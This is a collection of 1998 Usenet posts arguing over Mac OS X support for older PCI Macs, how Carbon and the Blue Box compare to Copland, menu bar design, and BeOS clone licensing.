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On 30 Jul 1998, Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Pulsar <tokarek@uiuc.edu> wrote:
> > jhendry wrote:
>
> > > Then, Apple would have to test the OS with a variety of different
> > > hardware configurations and third-party products. For each motherboard.
>
> > I understand the hardware configurations, but isn't it the job of the 3rd
> > parties to get their products working with Mac OS X?
>
> Well, firstly I'd expect Apple will be writing a lot of OS/X drivers.
> They can't wait for third parties to do it.
Why not? And Why would they have to wait?
> Secondly, Apple has to make sure that their OS and hardware work the way
> they're supposed to. Third parties shouldn't have to work around Apple's
> hardware bugs to fix problems their products experience with specific
> Macs. If a device works on one model of Mac, it should "just work" on
> another as long as the device itself can be attached (obviously, it's
> silly to require that a PCI card work with a PowerBook with no
> PCI slot, for example.)
Yeah, but 3rd parties have _already_ invested time in their _hardware_ to
work around Apple's hardware bugs. There is no extra work. Once Apple gets
the software interfaces working, the 3rd parties just have to write the
drivers _for_their_product_ which will have to be done _anyway_ regardless
of whether pre-G3 PCI PowerMacs are supported or not.
> Put another way, Apple's OS and hardware provide an 'API' of sorts
> for hardware developers. That API should be consistant, and predictable,
> for a given kind of device, across models. A third party shouldn't
> need to add special-case code to their drivers to work around bugs
> in specific models. If a developer follows this API, and produces
> a driver which is broken on a particular model, the bug is Apple's,
> not the developer's.
3rd parties already have to, and have already worked around those issues.
Why would Mac OS X be so different?
> Thus, when Apple is testing MacOS/X, they need to test it with
> various third party devices with each model of Mac, to make
> sure the devices don't break on a particular model. More
> models, more testing, more time.
More testing is not a problem. At worst, the debugging is, but even then
Apple will have experience with supporting such hardware on a similar OS
called Mac OS X Server! We all know that it's just a fancy name for
Rhapsody. We also should all know that Mac OS X is just an updated version
of Rhapsody.
> > > And maybe that experience is that it's a pain in the ass, and well
> > > worth dropping! Why cling to Apple's long tradition of model-specific
> > > bugs?
>
> > Umm... because Apple continues to do the same darned thing? We already
> > have multiple revisions of the Gossamer motherboard.
>
> True, but design changes aren't all equal. Some make a difference,
> some do not.
If I'm not mistaken, Rev2 boards required a new enabler on the Mac OS.
Heh.
> There are ways of designing hardware that insulate the software from
> changes in the hardware. Did they do this? No idea, but it would
> make sense. I doubt this was done to any significant degree
> before the G3's.
Uh huh. Is that why Rhapsody DR1 which was only supposed to run only on
PowerMac 9600/233s (IIRC) also ran on all the PowerMacs from the 7300
(including processor upgraded 7500s) up to the 9600? No, this wasn't done
to any significant degree before the G3s. Pfft.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 09:27:55 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com>
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On Thu, 30 Jul 1998, Donald Brown wrote:
> In article <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu>,
> tokarek@uiuc.edu says...
> > > There _is_ a reason. It's been explained over and over. The cost of
> > > putting Mac OS X onto older hardware and supporting it is too high for
> > > Apple in its current condition to support.
> >
> > The monetary costs should not be a reason for several reasons that I've
> > stated before. I don't see that as a valid excuse.
> >
> > Possibly the time cost would be significant, but even that I tend to
> > doubt for reasons that I've stated several times before.
> >
> Then it may be time to close this discussion out. Joe and I are saying
> "yes the costs are there", you and others are saying "no there are no
> costs".
You are boiling down the arguements to irrelevancy. At that level, that is
absolutely _NOT_ what I and others are saying! You are misconstruing our
position. We agree with you at that level.
We are saying that there _are_additional_ costs to supporting older
machines, _BUT_ that these costs should not be a cause to drop support for
these machines _for_several_reasons_.
I will state these reasons. Please point out the specific ones you
disagree with.
Some of these reasons are:
The return from supporting these machines will more than make up for the
cost of writing support for these machines and even continuing technical
support for these machines (especially when you consider that technical
support is not free anymore).
The costs involved exist, but are not very significant given Apple's
financial situation. If you think it would cost 10 million
additional dollars per quarter to support these machines or even as much
as 10 million additional dollars total, then you are delusional.
Apple would not end up alienating an even larger portion of the customer
base at a time when it needs all the loyalty it can get.
Apple presents the hardware platform as having backwards compatability for
a significant amount of time making the OS+Hardware platform more viable
in the eyes of people outside the platform who are at all considering it.
> I don't think either of us are going to convince the other.
Definitely not if your perception of our position remains as it is.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 09:27:11 -0500
Organization: Prairie Group
Message-ID: <MPG.102b903b3a3ef5c5989a5e@news.supernews.com>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl>
In article <6prtnt$3a$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl says...
> Donald:
>
> >>OS X is a rerun of Copland.
> >
> >Nope. There's a key difference between OS X and Copland. Copland would
> >run all old applications with not changes at all, and have all the
> >benefits of the new system. 100% binary compatible.
> >
> >OS X/Carbon says "We're throwing out 15% of the API and revamping the API
> >to make it work on our OS."
>
> Hm. I thought I heard something about that they'd be going
> to "integrate" the blue box into OS X in such a way that
> you'd still be able to run your old apps (although without
> the benefits of the new system.) Did I misunderstand this?
>
> Sounds like the approach they had in Copland to me.
My understanding was that Copland was supposed to give old apps the
benefit of the new system. There wouldn't be a blue box or equivalent,
somehow Copland was supposed to provide PM and PMT into the MacOS API as
it existed.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 09:25:18 -0500
Organization: Prairie Group
Message-ID: <MPG.102b8fcaa767b58b989a5d@news.supernews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com> <35C1649D.D5A8F2D3@earthlink.net>
In article <35C1649D.D5A8F2D3@earthlink.net>, jontemple@earthlink.net
says...
> > >
> > > Possibly the time cost would be significant, but even that I tend to
> > > doubt for reasons that I've stated several times before.
> > >
> > Then it may be time to close this discussion out. Joe and I are saying
> > "yes the costs are there", you and others are saying "no there are no
> > costs".
>
> Oversimplification.
>
> You (Don) are saying, "Apple is going to Diiiieeeee! Don't ask for OS X
> support because Apple might diiiieeeee."
Close. Apple MIGHT die. Apple's survival is not yet assured. Promising
too much and then failing to deliver might push them over the edge.
Going back to 4 quarters of loss because they hired more people for
testing, WOULD die.
> Joe is saying, "It'll take way too much money. It'll take years. It is a
> whole new OS. It's way too different from Rhapsody."
>
> Several of the rest of us are saying, "based on similar projects (LinuxPPC,
> and MkLinux, for example) it'll take a little more time to implement, but not
> more than a few months. Testing will take longer, but no biggy --- companies
> like Apple have the resources to do this in good speed."
Apple is simultaneously developing Mac OS 8.5, 9.0 or whatever they're
going to call it, next generation computers, the consumer laptop, PLUS OS
X. Apple's resources will be strained. If you have resources under
strain, handing them a whole bunch more things to do is not a smart
thing.
> We are also saying, "If it takes a few more months, release OS X a few months
> later FOR THE REST OF US. We've been waiting since Copland for this modern
> OS, a few more months isn't going to kill us. Just don't make us buy new
> machines when we love our current ones --- we just want a better OS to run on
> them."
You will be able to run a better OS in the form of 8.5. Not as radically
better as OS X will be, but better.
I sincerely hope Apple DOES support OS X for other PCI Macs--either
later, or even as a pleasant surprise. I hope the word is getting out
that a second release that covers more computers is acceptable. This
would be a great thing.
But, at this point, one year out when the project is still being sized in
many ways, for Apple to PROMISE that it will support older Macs would be
risky. As it is, if Apple finds they have more time to support older
Macs, this would be a pleasant surprise. If Apple had said "We're going
to support all PCI machines" and then was running out of time and had to
jettison support of motherboards other than G3, the howling we're hearing
now would be minor by comparison.
> And finally, we are saying, "A company should support their own computers,
> but we are willing to be reasonable about it --- but they *should* be
> supported. It is *reasonable* to support a machine less than 2 (or even 3
> years) old, much less a 2-month old model like the 9600/350. Confusing our
> reasonable requests with nonsense about supporting 10 year old computers with
> completely different processors is offensive and stupid. It is NOT
> reasonable."
A company should be able to support them, yes. But, a company shouldn't
have lost one billion dollars last year. A company shouldn't go through
the constant "you are dead" statements that Apple goes through.
Again, I hope Apple does support the older machines. Make sure you're
sending letters to leadership@apple.com saying a later release would be
acceptable and you'd still pay good money for it.
But, I'm not the guys making decisions at Apple. I'm not the guy who
will be fired and looking for work if this project fails. I've gotten
the word from those I respect that there are significant possible risks
in pursuing it now. So, I'm going to give them the benefit of the doubt.
(So much for bowing out of the discussion <sigh>)
Donald
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 09:33:30 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731093014.6876E-100000@ux7.cso.uiuc.edu>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl>
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On 31 Jul 1998, Freek Wiedijk wrote:
> Donald:
>
> >>OS X is a rerun of Copland.
> >
> >Nope. There's a key difference between OS X and Copland. Copland would
> >run all old applications with not changes at all, and have all the
> >benefits of the new system. 100% binary compatible.
> >
> >OS X/Carbon says "We're throwing out 15% of the API and revamping the API
> >to make it work on our OS."
>
> Hm. I thought I heard something about that they'd be going
> to "integrate" the blue box into OS X in such a way that
> you'd still be able to run your old apps (although without
> the benefits of the new system.) Did I misunderstand this?
>
> Sounds like the approach they had in Copland to me.
It's very different. Carbon is an entirely different environment from the
Blue Box. Copland was to reimplement API functions _and_ have new Copland
applications run in the _same_ environment as old Mac OS applications.
The Blue Box is the full Mac OS (as we know it now) hosted on the Mach
kernel. Carbon is an _entirely_ different entity and is not related to the
Blue Box.
OS X stands a _much_ higher chance of working than Copland _ever_ did.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 31 Jul 1998 14:30:42 GMT
Organization: P & L Systems
Message-ID: <6pskei$b19$2@ironhorse.plsys.co.uk>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com>
<6pns4i$bhj$1@nnrp1.dejanews.com> <joe.ragosta-2907982106410001@elk76.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2907982106410001@elk76.dol.net> Joe Ragosta wrote:
>
> I wouldn't be surprised if there's no demand for it. I see a lot of
> Rhapsody people rewriting their apps for Yellow Box. I guess a company
> with a lot of custom apps might be able to use it, but I think porting a
> NeXTStep app to Yellow Box is supposed to be very easy.
>
Uhhh, that depends on the app -- we've had quite a lot of experience porting
from NEXTSTEP to OPENSTEP; some apps are fairly straightforward, some require
a lot of work, and might even be better rewritten.
> BTW, what does Improv do?
>
It's Lotus' multi-dimensional spreadsheet. It's very neat for some classes
of problem. If you've come across Lighthouse's Quantrix, it's Quantrix's
forerunner.
Best wishes,
mmalc.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <01bdbc80$4e539c20$f9b4dccf@samsara> <6prpfb$g69$1@nnrp1.dejanews.com>
Message-ID: <35c1d8c1.0@news.depaul.edu>
Date: 31 Jul 98 14:46:25 GMT
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <01bdbc80$4e539c20$f9b4dccf@samsara>,
> "Jonathan Hendry" <jhendry@cmg.fcnbd.com> wrote:
> > Um, no. Testing reveals things that need to be fixed. Sometimes, fixes
> > can be really nasty and time-consuming. There's little point doing all
> > that testing if you don't have time or people to fix what's found. Much
> > better to keep the testing/fixing work within manageable limits
> Fixing kernel and IOkit code would suck but any bugs found elsewhere would
> still be bugs that should be fixed for the G3 Macs anyway.
The bugs might not be *in* the G3 Macs.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: What Be SHould have Done!
Date: Fri, 31 Jul 1998 09:45:20 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <27593-35C1CA70-10@newsd-124.bryant.webtv.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net>
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ETAtAhUAxigHWd2cEGzVVeiRbze6UBUkDdwCFAvgXy3DWW9v8mfOGDYZmUdkmfMH
Steve=A0Sullivan wrote:
>It would of been so cool if right after the clones
>were killed Be got together with some of the
>clone makers to put out Be Boxes. Like Maybe
>MOtorola and Gateway, one for ppc and one
>for intel?
Be did sign licenses with Motorola, PowerComputing, and Umax to replace
MacOS with BeOS. The only problem seems to be that the cloners were
making their bread and butter selling the MacOS and were counting on
that revenue during the transition to Be. When Apple pulled their
licenses they were left without money, and without a hardware design (by
then Be had shut down BeBox production and didn't have any modern
hardware designs).
Here are the relevant URL's from when the licenses were signed:
http://www.macworld.com/daily/daily.1063.html
http://www.macworld.com/daily/daily.1058.html
http://www.macworld.com/daily/daily.1055.html
and where I found them:
http://www.be.com/aboutbe/news/index.html
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
But he underestimates my mind, I know he's messing with my head." -
Trigger Happy Jack by Poe
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net>
Message-ID: <35c1d932.0@news.depaul.edu>
Date: 31 Jul 98 14:48:18 GMT
In comp.sys.next.advocacy Jon G. Temple <jontemple@earthlink.net> wrote:
> quinlan@my-dejanews.com wrote:
> > In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> > mbkennel <replace this with '@'> yahoo.com wrote:
> >
> > > It does: MacOS 8.5, MacOS 9.
>>
>> Imagine if Microsoft had continued to develop Windows 3.x after they had
>> released Windows 95. Who would care? People want new OS versions presumably
>> because they want new features. Mac OS 8.5 and 9 will be missing the features
>> that a lot of people really want from OS X.
> Brian, this is an *excellent* analogy!
Actually, it's not, since a lot of people would have preferred to
continue using 3.x, rather than upgrading their machine and software.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <01bdbc81$ea868750$f9b4dccf@samsara> <B1E706DF-62B49@206.165.43.126>
Message-ID: <35c1d9b6.0@news.depaul.edu>
Date: 31 Jul 98 14:50:30 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
> >Would you be happy, Lawson, if Apple released MacOS/X for the 8600, but
> >no peripherals would work other than modem, video card, keyboard, mouse,
> >and
> >disk drives? If the sound hardware was only somewhat supported? If it
> >didn't support fancy video in/out features?
> If I were a developer, sure. However, I doubt if that would be the case. If
> Rhapsody 1.0 is only going to work with a limited subset of PCI hardware
> than Apple is REALLY screwed since the promised, over and over again, that
> it would be working with ALL PCI hardware.
No Lawson, they promised it would run on all PCI Macs. They never
promised anything about PCI peripherals.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 09:53:10 -0500
Organization: Ericsson Inc.
Message-ID: <35C1DA56.90B33693@exu.ericsson.se>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se> <andyba-ya02408000R3007981711500001@news>
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Andy Bates wrote:
> > I assume you're familiar with magic(4) and gfile(1). The magic(4) file
> > on this particular box is around 125KBytes in size, and describes
> > probably several hundred different formats.
>
> I did not mention file size; I mentioned time to check every file as it is
> opened. Regardless of how much or how little time it takes, it is time that
> is not necessary.
The size of the magic file reflects the size of the file type database.
This means that there are 125KBytes of file types descriptors. The
average check will have to parse 50% of that file, all the time checking
the type of the file being opened. The fact that "magic" is over 50% of
the way through the file demonstrates that my example was actually a bit
slower than the average access.
You can't blink as quickly as a given file would be checked. It's a
non-issue.
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X UI
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se> <andyba-ya02408000R3007981711500001@news> <35C1DA56.90B33693@exu.ericsson.se>
Message-ID: <35c1e0c1.0@news.depaul.edu>
Date: 31 Jul 98 15:20:33 GMT
In comp.sys.next.advocacy Michael Peck <eusmpec@exu.ericsson.se> wrote:
> Andy Bates wrote:
> > > I assume you're familiar with magic(4) and gfile(1). The magic(4) file
> > > on this particular box is around 125KBytes in size, and describes
> > > probably several hundred different formats.
> >
> > I did not mention file size; I mentioned time to check every file as it is
> > opened. Regardless of how much or how little time it takes, it is time that
> > is not necessary.
<snip>
> You can't blink as quickly as a given file would be checked. It's a
> non-issue.
In a implementation built into the filesystem, there'd probably be a
cache holding the most recently-used types, making it even faster. If two
files of the same type are checked sequentially, the second should
take hardly any time at all.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 17:14:57 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6psn1h$2q2$1@larry.admin.phil.uu.nl>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl> <Pine.SOL.3.96.980731093014.6876E-100000@ux7.cso.uiuc.edu>
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Ryan:
>Carbon is an _entirely_ different entity and is not related to the
>Blue Box.
>
>OS X stands a _much_ higher chance of working than Copland _ever_ did.
Hm. Now I'm confused :-)
So will the old non-Carbon apps run under OS X, or won't they?
If they _won't_ then I agree with you, but then I think I
misunderstood Apple's promises (yeah, right.)
If they will, how is it going to work? Will there be a
_separate_ blue box, like in [giggle] OS X Server (I don't
think so, from what I gathered from Apple)? Or will the old
apps run inside the Carbon environment without the protective
shell of an "old style" environment (but _how?)_
Freek
(the key point is that: yes, OS X stands a high chance of working,
but how about backward compatibility?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c1cc00.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 13:52:00 GMT
RasAllGhul@webtv.net (Joshua Moore) wrote:
> Richard=A0Frith-Macdonald wrote:
>>Andy Bates wrote:
>
>>> <snip>
>
>>Your point presumably being 'the poor
>>innocent user needs to be protected from the
>>terrible consequences of being able to click on
>>a button'
>>Well - there aren't any terrible consequences -
>>only the advantage of having a few useful
>>operations that little bit more accessible.
>
>How often are you Quitting, Hiding, or Printing inside of an
>application? Having them at the top level degrades the "taxonomy of
>importance" that the Mac's menu bar represents.
> The more frequently an item is used, the higher it is in the
>heirarchy of the menu. The menus themselves are the most important
>items, so their placed at the top level of the menubar.
I agree with the point that the stuff on the top-level should be what the user
needs/wants to get to quickly.
I have carefully refrained from specifying what items those should be, except to
state a few personal preferences, and to say that I think it should be possible
for individual users to customise the system for themselves.
In answer to your question though -
Quit
I hardly ever use this, and don't think it belongs at the lop level. However,
I have heard (and can to some extent sympathise with) the argument that new
users need to be able to easily see at a glance how to quit, for the sake of
their peace-of-mind.
Hide
I use this very frequently because I work with LOTS of applications running.
If not the most frequently used item, it's certainly in the top three along
with 'Document' and 'Services'
Print
Almost never - but I know of users (editors and designers) who use it extremely
frequently to get a print preview of what they are working on. For those users
a 'preview' button at top-level would be good.
> Need quick access to an item? Use the keyboard equivalents. That's
>certainly easier to do than schlepping the mouse across your 17" monitor
>- right?
Actually, it's a 21" monitor - and I still find using the 'hide' menu option about
as fast or faster, depending on whether I'm primarily using mouse or keyboard at
the time. This is probably down to long practice with the mouse, and I wouldn't
expect it to be the case for a new user - but, on the other hand, I wouldn't
expect a new user to be able to remember the keyboard shortcuts until they had
used them for a while either.
> I personally think Apple should just implement menu palettes in
>addition to the menubar. Then someone would be able to select the
>palette they needed from a contextual menu, have it pop up near their
>mouse and then tuck it away in the menu bar when their through with it.
>Or just keep using the menubar the way they do now.
If I understand you correctly, that's pretty much what I think too - except that
I want to tuck away one or two favorite menu items on the menubar, not just menus.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 10:48:52 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731102858.25193A-100000@ux8.cso.uiuc.edu>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl> <Pine.SOL.3.96.980731093014.6876E-100000@ux7.cso.uiuc.edu> <6psn1h$2q2$1@larry.admin.phil.uu.nl>
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On 31 Jul 1998, Freek Wiedijk wrote:
> Ryan:
>
> >Carbon is an _entirely_ different entity and is not related to the
> >Blue Box.
> >
> >OS X stands a _much_ higher chance of working than Copland _ever_ did.
>
> Hm. Now I'm confused :-)
>
> So will the old non-Carbon apps run under OS X, or won't they?
They will run.
> If they _won't_ then I agree with you, but then I think I
> misunderstood Apple's promises (yeah, right.)
>
> If they will, how is it going to work? Will there be a
> _separate_ blue box, like in [giggle] OS X Server (I don't
> think so, from what I gathered from Apple)? Or will the old
> apps run inside the Carbon environment without the protective
> shell of an "old style" environment (but _how?)_
Here is how I understand it.
Mac OS X has Carbon.
These are a set of 6000 or so API functions taken straight from the Mac OS
and rewritten (and reparameterized where necessary) to allow applications
written using this to take advantage of PMT/PM and the like.
Applications written for this each run in their own protected memory
partitions, the partitions are sized dynamically (presumably) and the
applications are scheduled preemptively.
This environment is totally different from the Mac OS environment
particularly because it will include _no_ 68k code.
Mac OS X has a Blue Box.
This is similar in concept to Rhapsody/Mac OS X Server's Blue Box. In
Rhapsody's Blue Box, the Mac OS is run. Note that this isn't just an
implementation of some ToolBox functions, but is the entire Mac OS (like
Mac OS 8.1) running as a single large application in Rhapsody. Inside
this, old applications see exactly the same old Mac OS environment. Inside
the Blue Box, there are still all the CMT and PM issues. Huges swaths of
the OS running inside the Blue Box will still be 68k code.
Mac OS X's Blue Box is supposed to be similar, but it should be more
transparent. The exact details of this are not known by anybody outside
Apple and probably inside Apple too. The theory is that Mac OS Classic
apps would still run with CMT and no protected memory between each other,
but would be seen as any other application in Mac OS X by the user. This
would be different from the older Blue Box in Rhapsody since in that, you
either have to switch between full screen Blue Box and everything else or
you have to have the Blue Box (with its own menubar and desktop) inside a
window with other Rhapsody apps.
Copland had something Apple called the Blue Box. This was an environment
in which all applications that had to use the UI in any way would run. The
idea was to write the API so that old applications could run, _and_ when
Gershwin eventually came along and broke all the old apps, the new Copland
apps would continue to run. Doing this all in the same environment (Blue
Box for Copland) was borderline impossible. Add to that the fact that
Copland was badly mismanaged, and you get complete and embarassing
failure.
Mac OS X takes a reasonable approach towards preserving backwards
compatability and advancing the Mac API. It also shows all the signs of
being managed well.
There is no good parallel between how Copland went and how Mac OS X is
going.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 31 Jul 1998 15:39:32 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6psofk$eb6$1@news.spacelab.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net>
[ ...c.s.m.system deleted... ]
"Jon G. Temple" <jontemple@earthlink.net> wrote:
>Joe Ragosta wrote:
>> In article <35BF1822.3E94CE81@earthlink.net>, jontemple@earthlink.net
>> wrote:
>>> Joe Ragosta wrote:
[ ... ]
>>>> The IIsi was discontinued in 1991 and is comparable to a 386. What major
>>>> OS is supported by the vendor on a 386?
>>>
>>> Windows 95
>>>
[ ... ]
>> Wrong. Win95 is _not_ supported by the vendor on a 386.
>
> "By the vendor" --- what the hell does that mean?
It means that the "vendor", Microsoft, claims that the software will run on
that class of system and will provide technical "support" if you have
problems.
> It just works. All you need is a 32-bit i86 compatible processor and it'll
> run.
Great. It was possible to boot and run NEXTSTEP on a 4MB machine, too-- but
that doesn't mean the system is usable for any practical purpose, any more
than Win 95 is usable on a 4MB 386.
>> And as soon as you replace the CPU, you're not using a 386 again.
>>
>> Please try to stick to facts.
>
> These ARE the facts --- Win95 supports upgraded machines, even with very
> cheap processor upgrades. That WAS the point.
That's true as far as it goes. But that's *not* the original point, which
was the comparison of a 386 to a Mac IIsi, quoted above by ">>>>".
If you upgrade the processor, you don't have a 386.
